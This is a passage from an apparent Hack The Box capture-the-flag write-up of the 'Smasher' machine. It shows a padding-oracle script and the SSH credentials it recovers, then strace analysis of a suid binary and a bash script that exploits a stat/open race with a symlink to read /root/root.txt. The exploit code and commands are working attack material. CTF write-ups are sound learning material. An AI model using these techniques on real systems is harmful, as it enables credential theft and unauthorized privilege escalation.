42    parser = argparse.ArgumentParser()
43
44    parser.add_argument('-b', '--blocksize', help='block size', choices=[8, 16], default=8, type=int)
45    parser.add_argument('-p', '--port', help="oracle's port", default=1337, type=int)
46    parser.add_argument('-l', '--loglevel', help='logging level (default=DEBUG)', default='DEBUG',
47                        choices=['DEBUG', 'INFO', 'WARNING', 'ERROR', 'CRITICAL'])
48    parser.add_argument('ciphertext', help="ciphertext to crack")
49    parser.add_argument('target', help="oracle's ip address")
50
51    args = parser.parse_args()
52
53    logging.basicConfig(level=args.loglevel)
54
55    padbuster = PadBuster(args)
56
57    encrypted_text = b64decode(unquote(args.ciphertext))
58
59    plaintext = padbuster.decrypt(encrypted_text, block_size=args.blocksize, iv=bytearray(8))
60
61    print('Decrypted ciphertext: {} => {!r}'.format(args.ciphertext, plaintext))

The Attack

Let’s look at a run of the script (if you do this yourself, heads-up, it takes quite awhile to run).

python smasher-padding-oracle.py -b 16 'irRmWB7oJSMbtBC4QuoB13DC08NI06MbcWEOc94q0OXPbfgRm+l9xHkPQ7r7NdFjo6hSo6togqLYITGGpPsXdg==' 10.10.10.89
DEBUG:PadBuster:Processing block '\x8a\xb4fX\x1e\xe8%#\x1b\xb4\x10\xb8B\xea\x01\xd7'
DEBUG:root:Got one: AAAAAAAAAAAAAAAAAAAAc4q0Zlge6CUjG7QQuELqAdc=
DEBUG:root:Got one: AAAAAAAAAAAAAAAAAABtcIq0Zlge6CUjG7QQuELqAdc=
DEBUG:root:Got one: AAAAAAAAAAAAAAAAAGVscYq0Zlge6CUjG7QQuELqAdc=
DEBUG:root:Got one: AAAAAAAAAAAAAAAAJGJrdoq0Zlge6CUjG7QQuELqAdc=
DEBUG:root:Got one: AAAAAAAAAAAAAABhJWNqd4q0Zlge6CUjG7QQuELqAdc=
DEBUG:root:Got one: AAAAAAAAAAAAAHRiJmBpdIq0Zlge6CUjG7QQuELqAdc=
-------------8<-------------
INFO:PadBuster:Decrypted block 0: 'SSH password for'
-------------8<-------------
bytearray(b"SSH password for user \'smasher\' is: PaddingOracleMaster123\x06\x06\x06\x06\x06\x06")

Huzzah, we have credentials! An interesting note, those 6 \x06’s are indicative of the PKCS7 method of padding block ciphers. If you want more information on the Padding Oracle Attack, check out The Padding Oracle Attack by Robert Heaton. It’s an excellent write-up of the vulnerability and the attack.

user: smasher

pass: PaddingOracleMaster123

\o/ - access level: smasher

smasher to root.txt

/usr/bin/checker

After some basic enumeration, we come across a suid binary, /usr/bin/checker. Running the binary shows us some output.

[+] Welcome to file UID checker 0.1 by dzonerzy

Missing arguments

Giving it a file as an argument gives us some additional information.

/usr/bin/checker /bin/ls
[+] Welcome to file UID checker 0.1 by dzonerzy

File UID: 0

Data:
ELF

There are two interesting things about the output. First is that the program appears to hang for a brief moment during execution. Second is that it is printing the contents of the file to the screen. It seems we have a program that has root privileges for reading from the filesystem.

Since it looks like this program can read anything, let’s see if we can just grab the flag now.

checker /root/root.txt

[+] Welcome to file UID checker 0.1 by dzonerzy

Acess failed , you don't have permission!

It’s not surprising that it isn’t that easy. Let’s take a closer look at what’s going on by using strace.

strace

strace is a program used to trace system calls and signals. It runs the specified command until it exits. It intercepts and records the system calls which are called by a process. The name of each system call, its arguments and its return value are printed on STDERR. Running it on /usr/bin/checker should provide us some insight into the program’s behavior.

strace -v -r /usr/bin/checker /bin/ls
strace options used:

    -v
        Print unabbreviated versions of environment, stat, termios, etc. calls.
    -r 
        Print a relative timestamp upon entry to each system  call. This  records  
        the time difference between the beginning of successive system calls.

The output from strace is pretty verbose, especially when used with a -v option. I’ve stripped out some of the noise to allow us to focus on some of the more important syscalls.

 1     0.000000 execve("/usr/bin/checker", ["/usr/bin/checker", "/bin/ls"], ["XDG_SESSION_ID=85", "TERM=xterm-256color", "SHELL=/bin/bash", "SSH_CLIENT=10.10.14.13 49436 22", "SSH_TTY=/dev/pts/0", "USER=smasher", "LS_COLORS=rs=0:di=01;34:ln=01;36"..., "MAIL=/var/mail/smasher", "PATH=/home/smasher/bin:/home/sma"..., "PWD=/home/smasher", "LANG=en_US.UTF-8", "SHLVL=1", "HOME=/home/smasher", "LOGNAME=smasher", "SSH_CONNECTION=10.10.14.13 49436"..., "LESSOPEN=| /usr/bin/lesspipe %s", "XDG_RUNTIME_DIR=/run/user/1001", "LESSCLOSE=/usr/bin/lesspipe %s %"..., "_=/usr/bin/strace"]) = 0
 2     -------------8<-------------
 3     0.000181 getuid()                  = 1001
 4     0.000175 fstat(1, {st_dev=makedev(0, 14), st_ino=3, st_mode=S_IFCHR|0620, st_nlink=1, st_uid=1001, st_gid=5, st_blksize=1024, st_blocks=0, st_rdev=makedev(136, 0), st_atime=2018/11/07-03:09:28.418328275, st_mtime=2018/11/07-03:09:28.418328275, st_ctime=2018/11/07-00:38:36.418328275}) = 0
 5     0.000205 brk(NULL)                 = 0x144a000
 6     0.000137 brk(0x146b000)            = 0x146b000
 7     0.000166 write(1, "[+] Welcome to file UID checker "..., 48[+] Welcome to file UID checker 0.1 by dzonerzy
 8) = 48
 9     0.000226 write(1, "\n", 1
10)         = 1
11     0.000175 stat("/bin/ls", {st_dev=makedev(8, 1), st_ino=271190, st_mode=S_IFREG|0755, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=248, st_size=126584, st_atime=2018/11/07-00:38:36.458328274, st_mtime=2017/03/02-19:07:22, st_ctime=2018/03/31-00:37:20.710888894}) = 0
12     0.000177 access("/bin/ls", R_OK)   = 0
13     0.000130 setuid(0)                 = -1 EPERM (Operation not permitted)
14     0.000123 setgid(0)                 = -1 EPERM (Operation not permitted)
15     0.000130 nanosleep({1, 0}, 0x7ffcea789e70) = 0
16     1.000377 open("/bin/ls", O_RDONLY) = 3
17     0.000215 fstat(3, {st_dev=makedev(8, 1), st_ino=271190, st_mode=S_IFREG|0755, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=248, st_size=126584, st_atime=2018/11/07-00:38:36.458328274, st_mtime=2017/03/02-19:07:22, st_ctime=2018/03/31-00:37:20.710888894}) = 0
18     0.000237 fstat(3, {st_dev=makedev(8, 1), st_ino=271190, st_mode=S_IFREG|0755, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=248, st_size=126584, st_atime=2018/11/07-00:38:36.458328274, st_mtime=2017/03/02-19:07:22, st_ctime=2018/03/31-00:37:20.710888894}) = 0
19     0.000182 lseek(3, 122880, SEEK_SET) = 122880
20     0.000116 read(3, "\30\336a\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\366\"@\0\0\0\0\0"..., 3704) = 3704
21     0.000140 lseek(3, 0, SEEK_SET)     = 0
22     0.000131 read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\2\0>\0\1\0\0\0\240I@\0\0\0\0\0"..., 122880) = 122880
23     0.000233 read(3, "\30\336a\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\366\"@\0\0\0\0\0"..., 4096) = 3704
24     0.000150 close(3)                  = 0
25     0.000134 write(1, "File UID: 0\n", 12File UID: 0
26) = 12
27     0.000172 write(1, "\nData:\n", 7
28Data:
29)  = 7
30     0.000201 write(1, "\177ELF\2\1\1", 7ELF) = 7
31     0.000216 exit_group(0)             = ?
32     0.000135 +++ exited with 0 +++

Here’s a quick rundown of what we care about in the output above.

  • line 11: stat the file passed via the command line
  • line 13: attempt to set executor’s EUID to 0 (root)
  • line 15: pause execution (sleep) for 1 second
  • line 16: open the file
  • lines 20,22,23: read the contents of the file
  • line 30: write the contents of the file to STDOUT

There’s definitely a race condition here. The 1 second between the program calling stat and calling open allows us to swap a file we do have permission to read for one that we do not have permission to read.

Race to the Flag

The way ahead is pretty simple and outlined below.

  • Create a file (i.e. we are the owner and can read it)
  • Call checker with that file as an argument
  • Remove the file
  • Create a link to the file we don’t own, but want to read

A simple bash script can handle this very well.

 1#!/bin/bash
 2
 3allowed_to_read="${1}"
 4
 5# remove the file if it's already there 
 6if [[ -e "${allowed_to_read}" ]]
 7then 
 8    rm "${allowed_to_read}"
 9fi 
10
11# [re]create the file 
12touch "${allowed_to_read}"
13
14# run checker in the background
15/usr/bin/checker "${allowed_to_read}" & 
16
17sleep .75
18rm "${allowed_to_read}" 
19
20# link to the file we want to read 
21ln -s /root/root.txt "${allowed_to_read}"

A quick run of our script above gets us the flag!

bash escalate.sh somefile

[+] Welcome to file UID checker 0.1 by dzonerzy

File UID: 1001

Data:
077...

\o/ - root read access

NOTE: There is supposedly a way to get a root shell by exploiting this binary. However, I was not able to get it working. I expect @ippsec will have a solution. I’ll come back and update this post with a link to his video when it goes live.

If you made it this far, congratulations! I hope you enjoyed this write-up, or at least found something useful. Drop me a line on the HTB forums or in chat @ NetSec Focus.

epi-htb-badge

Additional Resources

  1. Camp CTF 2015 - Bitterman (ippsec)
  2. tiny-web-server: buffer overflow discovery + poc ret2libc->exit()
  3. Return-Oriented-Programming (ROP FTW)
  4. PLT and GOT - the key to code sharing and dynamic libraries
  5. The Padding Oracle Attack

comments powered by Disqus